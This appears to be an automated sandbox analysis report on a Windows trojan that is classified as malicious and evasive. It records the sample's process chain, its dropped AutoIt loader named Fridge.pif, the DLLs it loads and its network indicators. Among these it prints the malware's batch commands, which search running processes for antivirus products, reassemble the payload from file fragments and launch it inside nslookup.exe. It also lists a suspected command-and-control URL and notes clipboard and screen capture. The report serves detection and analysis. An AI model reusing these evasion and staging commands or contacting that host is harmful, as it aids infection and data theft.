Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Amcache.hve.19.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif, 0000000B.00000000.1537702607.0000000000E59000.00000002.00000001.01000000.00000007.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/api
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/api;
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/apiLD
Source: nslookup.exe, 00000010.00000002.2271858252.0000000002F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/t
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Zip.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp, Fridge.pif.2.dr, Zip.0.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Windows\SysWOW64\nslookup.exe

Code function: 16_2_02C99D70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

16_2_02C99D70

Source: C:\Windows\SysWOW64\nslookup.exe

Code function: 16_2_02C9A264 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

16_2_02C9A264

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\DowBumper	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\AsinVp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\NodeDui	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\QueenBite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\MineralsObserve	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA0118	16_2_02CA0118
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C70A14	16_2_02C70A14
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA92C0	16_2_02CA92C0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C61297	16_2_02C61297
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6F242	16_2_02C6F242
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6A3F0	16_2_02C6A3F0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C673B0	16_2_02C673B0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C65320	16_2_02C65320
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C94060	16_2_02C94060
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C61000	16_2_02C61000
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6B010	16_2_02C6B010
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8F038	16_2_02C8F038
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C9F1E0	16_2_02C9F1E0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C69130	16_2_02C69130
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C94136	16_2_02C94136
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA76CB	16_2_02CA76CB
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8D6F0	16_2_02C8D6F0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA9690	16_2_02CA9690
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C71600	16_2_02C71600
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA07E0	16_2_02CA07E0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA9780	16_2_02CA9780
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA8740	16_2_02CA8740
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C68750	16_2_02C68750
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C63710	16_2_02C63710
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6B4B0	16_2_02C6B4B0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA9410	16_2_02CA9410
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA9580	16_2_02CA9580
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C69AC4	16_2_02C69AC4
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA9A40	16_2_02CA9A40
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8DBD5	16_2_02C8DBD5
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA4B60	16_2_02CA4B60
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8DB00	16_2_02C8DB00
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C99B00	16_2_02C99B00
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C7FB39	16_2_02C7FB39
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C99880	16_2_02C99880
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C7E85A	16_2_02C7E85A
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8887B	16_2_02C8887B
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C90810	16_2_02C90810
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6A940	16_2_02C6A940
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C7E900	16_2_02C7E900
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C8CEC0	16_2_02C8CEC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C89EE0	16_2_02C89EE0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C70E90	16_2_02C70E90
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6FEA0	16_2_02C6FEA0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C97E70	16_2_02C97E70
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C6BFC0	16_2_02C6BFC0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CA8C40	16_2_02CA8C40
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C89DC9	16_2_02C89DC9
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C67DB0	16_2_02C67DB0
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C88D00	16_2_02C88D00
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02C88D1C	16_2_02C88D1C
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: 16_2_02CAAD20	16_2_02CAAD20

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: String function: 02C7DBA0 appears 150 times
Source: C:\Windows\SysWOW64\nslookup.exe	Code function: String function: 02C6CB10 appears 57 times

Source: C:\Windows\SysWOW64\nslookup.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608

Source: file.exe, 00000000.00000003.1489349176.000000000298B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@27/26@3/1

Source: C:\Users\user\Desktop\file.exe

0_2_004044A5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6200

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nsb7105.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tasklist.exe, 00000004.00000003.1523348845.000000000369C000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000004.00000003.1523438938.000000000369C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_ProcessF;.W

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383775
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ManufacturedBuyingTouchSecond" Jacket
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Interface + ..\Populations + ..\Gathering + ..\Did + ..\Depression + ..\Depending + ..\Proposals C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif Fridge.pif C
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process created: C:\Windows\SysWOW64\nslookup.exe C:\Windows\SysWOW64\nslookup.exe
Source: C:\Windows\SysWOW64\nslookup.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608
Source: C:\Windows\SysWOW64\nslookup.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1620
Source: C:\Windows\SysWOW64\nslookup.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1608
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Messenger Messenger.bat & Messenger.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383775	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ManufacturedBuyingTouchSecond" Jacket	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Interface + ..\Populations + ..\Gathering + ..\Did + ..\Depression + ..\Depending + ..\Proposals C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif Fridge.pif C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Process created: C:\Windows\SysWOW64\nslookup.exe C:\Windows\SysWOW64\nslookup.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nslookup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1311091 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\383775\Fridge.pif

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
